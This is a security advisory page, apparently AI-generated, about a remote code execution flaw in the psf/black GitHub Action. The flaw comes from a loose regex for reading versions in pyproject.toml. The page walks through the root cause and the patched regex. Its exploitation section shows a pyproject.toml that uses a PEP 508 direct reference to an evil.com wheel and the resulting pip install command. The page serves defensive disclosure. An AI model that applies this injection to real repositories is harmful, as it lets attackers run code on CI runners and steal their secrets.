CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-V53H-F6M7-XCGM

GHSA-V53H-F6M7-XCGM: Remote Code Execution in psf/black GitHub Action via pyproject.toml

Alon Barad
Alon Barad
Software Engineer

Mar 7, 2026·5 min read·18 visits

Executive Summary (TL;DR)

The psf/black GitHub Action is vulnerable to RCE when `use_pyproject` is enabled. Attackers can modify `pyproject.toml` in a Pull Request to include a malicious dependency URL, which the Action unsafely passes to `pip install`, executing arbitrary code on the runner.

A high-severity Remote Code Execution (RCE) vulnerability exists in the official GitHub Action for the Black Python code formatter (`psf/black`). The vulnerability arises from improper input validation within the Action's version parsing logic when reading `pyproject.toml` configuration files. By constructing a malicious dependency definition using PEP 508 direct references (e.g., pointing to a remote URL), an attacker can inject arbitrary arguments into the underlying `pip install` command. This flaw allows unauthorized code execution within the context of the GitHub Actions runner, potentially compromising CI/CD pipelines and secrets.

Vulnerability Overview

The psf/black GitHub Action is a widely used CI/CD component that enforces Python code formatting standards. The vulnerability, identified as GHSA-V53H-F6M7-XCGM, resides in the mechanism the Action uses to determine which version of Black to install. Specifically, when the configuration option use_pyproject is set to true, the Action attempts to parse the pyproject.toml file to extract the requested version of Black.

The parsing logic relies on a regular expression that fails to strictly validate the version string. Instead of restricting input to valid version numbers (e.g., 23.1.0) or standard comparison operators, the parser inadvertently accepts arbitrary strings, including PEP 508 direct references. This allows the inclusion of the @ symbol followed by a URL.

When the Action encounters such a string, it passes the captured value directly to a shell command responsible for installing the dependency. This behavior transforms a configuration parsing routine into a vector for Remote Code Execution (RCE), as pip will download and execute code from the attacker-controlled URL during the installation process.

Root Cause Analysis

The root cause of this vulnerability is an overly permissive regular expression used to extract the version specifier from pyproject.toml content. The vulnerability is located in action/main.py. The original implementation used a negative character class to identify the version string, rather than an allowlist of valid characters.

The vulnerable code utilized the following regex:

BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)

This regular expression captures any text following the word "black" provided that the first character of the capture group is not an uppercase letter, number, dot, underscore, or hyphen. Crucially, this negative logic allows special characters such as @ or whitespace followed by @ to pass through. The intention was likely to capture standard version specifiers (e.g., ==22.3.0), but the implementation failed to account for the full syntax of PEP 508, which permits direct references via the @ syntax.

The captured group is subsequently interpolated into a pip install command without further sanitization. This lack of secondary validation means that if the regex matches a malicious string, that string is executed as a command argument.

Code Analysis

The remediation for this vulnerability involves replacing the permissive negative matching logic with a strict allowlist regex. The patch ensures that only valid Python version comparison operators and version numbers are accepted.

Vulnerable Implementation (action/main.py):

# Vulnerable: Accepts anything starting with a character NOT in [A-Z0-9._-]
# This allows " @ https://attacker.com/malicious.whl"
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)

Patched Implementation (Commit 0a2560b):

# Fixed: Whitelists specific operators (~=, ==, !=, etc.) and alphanumeric version strings
BLACK_VERSION_RE = re.compile(
    r"^black((?:\s*(?:~=|==|!=|<=|>=|<|>|===)\s*[A-Za-z0-9*+._-]+)"
    r"(?:\s*,\s*(?:~=|==|!=|<=|>=|<|>|===)\s*[A-Za-z0-9*+._-]+)*)\s*$",
    re.IGNORECASE,
)

The patched regex enforces a strict structure: it requires a valid comparison operator (like == or >=) followed by a version identifier composed of alphanumeric characters and standard version delimiters (*+._-). It also supports comma-separated version constraints (e.g., >=20.0, <24.0). By enforcing this structure, the injection of the @ symbol or URLs is rendered impossible, as the regex will fail to match malicious lines entirely.

Exploitation Methodology

To exploit this vulnerability, an attacker must target a repository that utilizes the psf/black Action with the configuration use_pyproject: true. This configuration instructs the Action to dynamically determine the Black version from the repository's files.

The attack vector involves submitting a Pull Request (PR) that modifies the pyproject.toml file. The attacker replaces the standard version dependency with a direct reference to a malicious wheel or source distribution hosted on an attacker-controlled server.

Example Malicious pyproject.toml:

[project]
name = "target-repo"
dependencies = [
    "black @ https://evil.com/malicious-1.0.0-py3-none-any.whl"
]

When the GitHub Action runs on this PR, the vulnerable regex captures the string @ https://evil.com/malicious-1.0.0-py3-none-any.whl. The Action then executes:

pip install "black @ https://evil.com/malicious-1.0.0-py3-none-any.whl"

During the installation of the remote package, pip executes the setup.py script (for source distributions) or any pre-install hooks. This grants the attacker code execution capabilities within the CI/CD runner environment. Attackers can leverage this access to exfiltrate repository secrets, modify build artifacts, or pivot to other systems accessible by the runner.

Impact Assessment

The impact of this vulnerability is rated as High (8.7). Successful exploitation results in full Remote Code Execution (RCE) on the GitHub Actions runner. The context of a CI/CD runner is highly sensitive; these environments often possess privileged credentials, such as:

  • Cloud Provider Keys: AWS_ACCESS_KEY_ID, GOOGLE_APPLICATION_CREDENTIALS.
  • Package Registry Tokens: PyPI API tokens for publishing releases.
  • Repository Write Access: GITHUB_TOKEN often has write permissions to the repository.

Compromise of the runner can lead to a supply chain attack where the attacker injects malicious code into the project's build artifacts or releases. Furthermore, since the vulnerability can be triggered via a Pull Request from a fork (depending on workflow triggers), it is exposable to unauthenticated external attackers in public repositories. The fix is robust and completely eliminates the vector by enforcing strict syntax validation.

Official Patches

GitHubOfficial patch commit in psf/black repository

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Affected Systems

GitHub Actions workflows using psf/blackCI/CD Pipelines parsing pyproject.toml

Affected Versions Detail

Product
Affected Versions
Fixed Version
psf/black GitHub Action
Python Software Foundation
< 0a2560b (Commit)0a2560b (Commit)
AttributeDetail
CWE IDCWE-20
Attack VectorNetwork
CVSS Score8.7 (High)
Affected Componentaction/main.py
Exploit StatusProof of Concept Available
ImpactRemote Code Execution

MITRE ATT&CK Mapping

T1195.002Compromise Software Dependencies
Initial Access
T1204.002Malicious File
Execution
T1059.006Python
Execution
CWE-20
Improper Input Validation

Known Exploits & Detection

GitHub Security AdvisoryProof of Concept demonstrating injection of PEP 508 direct references via pyproject.toml

Vulnerability Timeline

Fix Committed
2026-03-06
Advisory Published
2026-03-06

References & Sources

  • [1]GHSA-V53H-F6M7-XCGM Advisory
  • [2]OSV Record
  • [3]psf/black Security Policy

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 17 hours ago•GHSA-XF4V-W5X5-PV79
5.1

GHSA-XF4V-W5X5-PV79: CSV Formula Injection in Spree Customer Export

A CSV Formula Injection vulnerability (CWE-1236) exists in the Spree headless eCommerce platform within the customer export functionality. An unauthenticated attacker can register a customer profile containing malicious formula sequences in fields like the first name or last name. When an administrator exports the customer data to a CSV file and opens it in a spreadsheet application, the spreadsheet engine can interpret and execute these formulas, potentially leading to remote command execution on the administrator's workstation or out-of-band data exfiltration.

Alon Barad
Alon Barad
4 views•6 min read
•about 18 hours ago•CVE-2026-47694
5.4

CVE-2026-47694: Stored Cross-Site Scripting in WWBN AVideo Category Descriptions

A Stored Cross-Site Scripting (XSS) vulnerability exists in WWBN AVideo versions up to and including 29.0. Unsanitized category descriptions are stored in the database and subsequently rendered as raw HTML in the Gallery view plugin, allowing low-privileged authenticated users to execute arbitrary JavaScript in the browsers of visiting users.

Alon Barad
Alon Barad
6 views•7 min read
•about 18 hours ago•GHSA-JPVJ-WPMJ-H7RV
9.6

GHSA-JPVJ-WPMJ-H7RV: Supply Chain Compromise and Malicious Code Injection in @cap-js/openapi

A critical supply chain compromise was identified in the Node.js package @cap-js/openapi at version 1.4.1. An attacker gained unauthorized publishing access to the npm registry and distributed a backdoored release that harvests sensitive developer credentials, environment variables, and SSH keys. The malicious code then exfiltrates the collected data to external actor-controlled servers.

Amit Schendel
Amit Schendel
12 views•5 min read
•about 19 hours ago•CVE-2026-47696
7.1

CVE-2026-47696: Authenticated Wallet Credit Bypass in WWBN AVideo AuthorizeNet Plugin

An authenticated wallet credit bypass vulnerability exists in WWBN AVideo version 29.0 and earlier. The AuthorizeNet plugin includes an unfinished mockup endpoint, processPayment.json.php, which lacks actual transaction verification and hardcodes success. This allows any authenticated user to credit their wallet with arbitrary balances without making any payments.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 19 hours ago•GHSA-8WHC-2WMV-WW35
8.8

GHSA-8whc-2wmv-ww35: Unauthenticated Stored DOM-based Cross-Site Scripting in WWBN AVideo YPTSocket Plugin

An unauthenticated stored DOM-based Cross-Site Scripting (DOM XSS) vulnerability in the YPTSocket plugin of WWBN AVideo (formerly YouPHPTube) allows remote attackers to execute arbitrary JavaScript within the session context of administrative users. Unsanitized metadata parameters supplied during the WebSocket handshake are persisted in an SQLite database and broadcast to connected users. The frontend application processes these parameters through an unsafe jQuery append sink, leading to silent, high-impact administrative context compromise.

Amit Schendel
Amit Schendel
6 views•7 min read
•about 20 hours ago•CVE-2026-47676
5.3

CVE-2026-47676: Inconsistent Path Parsing and Slicing in Hono Framework Sub-Application Mounting

A path parsing and normalization inconsistency vulnerability exists in the Hono web framework prior to version 4.12.21. When hosting sub-applications via the app.mount() routing interface, Hono calculates the routing path prefix length on a percent-decoded representation of the URI but executes the path-slicing offset on the raw, percent-encoded string. This discrepancy results in malformed request paths being dispatched to mounted sub-applications, potentially leading to route bypasses, route confusion, and application-level Denial of Service.

Alon Barad
Alon Barad
4 views•6 min read